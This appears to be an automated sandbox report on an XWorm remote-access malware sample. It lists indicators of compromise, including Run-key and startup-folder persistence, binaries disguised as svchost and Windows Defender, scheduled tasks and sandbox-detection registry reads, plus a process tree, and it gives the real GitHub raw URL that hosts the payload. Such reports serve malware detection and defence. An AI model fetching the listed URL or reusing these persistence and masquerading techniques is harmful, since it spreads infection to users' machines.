xworm | hxxps://raw[.]githubusercontent[.]com/AmjadBalls/Ramizjaber12/refs/heads/main/d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	WindowsDefender.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	Discord.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	explorer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\Control Panel\International\Geo\Nation	GoogleChrome.exe

Drops startup file 10 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	WindowsDefender.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord.lnk	Discord.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Googlechromeupdater.lnk	GoogleChrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Googlechromeupdater.lnk	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateChecker.vbs	PowerShell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.exe	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Discord.lnk	Discord.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Googlechromeupdater.lnk	GoogleChrome.exe

Executes dropped EXE 14 IoCs

pid	Process
2116	Discord.exe
4664	GoogleChrome.exe
4588	explorer.exe
2184	svchost.exe
5092	WindowsDefender.exe
1136	WindowsDefender.exe
5864	WindowsDefender.exe
4264	WindowsDefender.exe
3268	Discord
4428	Googlechromeupdater
5548	svchost.exe
5836	Discord
3320	Googlechromeupdater
2684	svchost.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Discord = "C:\\ProgramData\\Discord"	Discord.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Googlechromeupdater = "C:\\ProgramData\\Googlechromeupdater"	GoogleChrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Googlechromeupdater = "C:\\ProgramData\\Googlechromeupdater"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe"	WindowsDefender.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs

Web Service

T1102

flow	ioc
66	raw.githubusercontent.com
112	raw.githubusercontent.com
113	raw.githubusercontent.com
115	raw.githubusercontent.com
132	raw.githubusercontent.com
134	raw.githubusercontent.com
10	raw.githubusercontent.com
11	raw.githubusercontent.com
122	raw.githubusercontent.com
131	raw.githubusercontent.com
133	raw.githubusercontent.com
114	raw.githubusercontent.com
119	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
135	ip-api.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\GoogleChrome.exe	PowerShell.exe
File created	C:\Windows\System32\explorer.exe	PowerShell.exe
File created	C:\Windows\System32\WindowsDefender.exe	powershell.exe
File created	C:\Windows\SysWOW64\WindowsDefender.exe	powershell.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\4dfed757-bd6a-4f83-9fcb-0d6778a835b4.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20250123175811.pma	setup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\svchost.exe	PowerShell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000_Classes\Local Settings	PowerShell.exe
Key created	\REGISTRY\USER\S-1-5-21-1581648047-808845429-2272123689-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5316	schtasks.exe
5124	schtasks.exe
2388	schtasks.exe
4792	schtasks.exe
380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2972	msedge.exe
2972	msedge.exe
1372	msedge.exe
1372	msedge.exe
4976	identity_helper.exe
4976	identity_helper.exe
5484	PowerShell.exe
5484	PowerShell.exe
5484	PowerShell.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
5320	powershell.exe
5320	powershell.exe
5320	powershell.exe
1928	PowerShell.exe
1928	PowerShell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5484	PowerShell.exe
Token: SeDebugPrivilege	5772	taskmgr.exe
Token: SeSystemProfilePrivilege	5772	taskmgr.exe
Token: SeCreateGlobalPrivilege	5772	taskmgr.exe
Token: 33	5772	taskmgr.exe
Token: SeIncBasePriorityPrivilege	5772	taskmgr.exe
Token: SeDebugPrivilege	6048	firefox.exe
Token: SeDebugPrivilege	6048	firefox.exe
Token: SeDebugPrivilege	5320	powershell.exe
Token: SeDebugPrivilege	1928	PowerShell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeIncreaseQuotaPrivilege	708	powershell.exe
Token: SeSecurityPrivilege	708	powershell.exe
Token: SeTakeOwnershipPrivilege	708	powershell.exe
Token: SeLoadDriverPrivilege	708	powershell.exe
Token: SeSystemProfilePrivilege	708	powershell.exe
Token: SeSystemtimePrivilege	708	powershell.exe
Token: SeProfSingleProcessPrivilege	708	powershell.exe
Token: SeIncBasePriorityPrivilege	708	powershell.exe
Token: SeCreatePagefilePrivilege	708	powershell.exe
Token: SeBackupPrivilege	708	powershell.exe
Token: SeRestorePrivilege	708	powershell.exe
Token: SeShutdownPrivilege	708	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeSystemEnvironmentPrivilege	708	powershell.exe
Token: SeRemoteShutdownPrivilege	708	powershell.exe
Token: SeUndockPrivilege	708	powershell.exe
Token: SeManageVolumePrivilege	708	powershell.exe
Token: 33	708	powershell.exe
Token: 34	708	powershell.exe
Token: 35	708	powershell.exe
Token: 36	708	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeIncreaseQuotaPrivilege	4528	powershell.exe
Token: SeSecurityPrivilege	4528	powershell.exe
Token: SeTakeOwnershipPrivilege	4528	powershell.exe
Token: SeLoadDriverPrivilege	4528	powershell.exe
Token: SeSystemProfilePrivilege	4528	powershell.exe
Token: SeSystemtimePrivilege	4528	powershell.exe
Token: SeProfSingleProcessPrivilege	4528	powershell.exe
Token: SeIncBasePriorityPrivilege	4528	powershell.exe
Token: SeCreatePagefilePrivilege	4528	powershell.exe
Token: SeBackupPrivilege	4528	powershell.exe
Token: SeRestorePrivilege	4528	powershell.exe
Token: SeShutdownPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeSystemEnvironmentPrivilege	4528	powershell.exe
Token: SeRemoteShutdownPrivilege	4528	powershell.exe
Token: SeUndockPrivilege	4528	powershell.exe
Token: SeManageVolumePrivilege	4528	powershell.exe
Token: 33	4528	powershell.exe
Token: 34	4528	powershell.exe
Token: 35	4528	powershell.exe
Token: 36	4528	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeIncreaseQuotaPrivilege	3476	powershell.exe
Token: SeSecurityPrivilege	3476	powershell.exe
Token: SeTakeOwnershipPrivilege	3476	powershell.exe
Token: SeLoadDriverPrivilege	3476	powershell.exe
Token: SeSystemProfilePrivilege	3476	powershell.exe
Token: SeSystemtimePrivilege	3476	powershell.exe
Token: SeProfSingleProcessPrivilege	3476	powershell.exe
Token: SeIncBasePriorityPrivilege	3476	powershell.exe
Token: SeCreatePagefilePrivilege	3476	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
1372	msedge.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe
5772	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6048	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 952	1372	msedge.exe	81
PID 1372 wrote to memory of 952	1372	msedge.exe	81
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 4832	1372	msedge.exe	82
PID 1372 wrote to memory of 2972	1372	msedge.exe	83
PID 1372 wrote to memory of 2972	1372	msedge.exe	83
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84
PID 1372 wrote to memory of 3672	1372	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://raw.githubusercontent.com/AmjadBalls/Ramizjaber12/refs/heads/main/d
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffea10746f8,0x7ffea1074708,0x7ffea1074718
  2⤵
  PID:952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
  2⤵
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8
  2⤵
  PID:3672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:1632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
  2⤵
  PID:2612
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
  2⤵
  PID:240
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:2716
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x24c,0x250,0x254,0x228,0x258,0x7ff64d975460,0x7ff64d975470,0x7ff64d975480
    3⤵
    PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5888 /prefetch:1
  2⤵
  PID:2676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:1
  2⤵
  PID:3344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:1
  2⤵
  PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=1144 /prefetch:8
  2⤵
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1
  2⤵
  PID:5876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
